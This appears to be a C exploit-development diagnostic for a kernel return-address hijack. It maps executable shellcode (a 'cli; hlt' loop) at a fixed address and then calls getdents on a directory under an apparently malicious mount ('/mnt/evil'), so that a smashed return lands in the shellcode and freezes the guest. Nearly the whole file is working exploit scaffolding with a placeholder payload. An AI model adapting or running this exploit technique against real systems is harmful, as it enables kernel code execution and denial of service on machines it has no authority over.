DF-0873 / diag_halt.c
/* DF-0873 diagnostic: shellcode = cli; hlt loop. If guest FREEZES (not * resets), the smashed ret reached our page. If it resets, the problem is * earlier (page not exec, or ret addr wrong). */ #include <sys/types.h> #include <sys/mman.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdint.h> #define SHELLCODE_ADDR 0x0000000001337000ULL __attribute__((noinline, aligned(4096))) static void shellcode(void) { __asm__ volatile( "cli\n\t" "1: hlt\n\t" "jmp 1b\n\t" :::); } __attribute__((noinline, aligned(4096))) static void shellcode_end(void) { } #define SYS_getdents 480 int main(int argc, char **argv) { const char *mp = (argc > 1) ? argv[1] : "/mnt/evil"; size_t sc_len = (size_t)((char *)shellcode_end - (char *)shellcode); void *p = mmap((void *)SHELLCODE_ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANON | MAP_FIXED, -1, 0); if (p == MAP_FAILED) { perror("mmap"); return 2; } memcpy(p, (void *)shellcode, sc_len); fprintf(stderr, "[diag] shellcode(%zu bytes) at %p\n", sc_len, p); int fd = open(mp, O_RDONLY | O_DIRECTORY); if (fd < 0) { perror("open"); return 2; } fprintf(stderr, "[diag] getdents -> ret should hit cli;hlt loop (freeze)\n"); char buf[64]; ssize_t n = syscall(SYS_getdents, fd, buf, sizeof(buf)); fprintf(stderr, "[diag] getdents returned %zd (ret NOT hijacked)\n", n); return 0; } |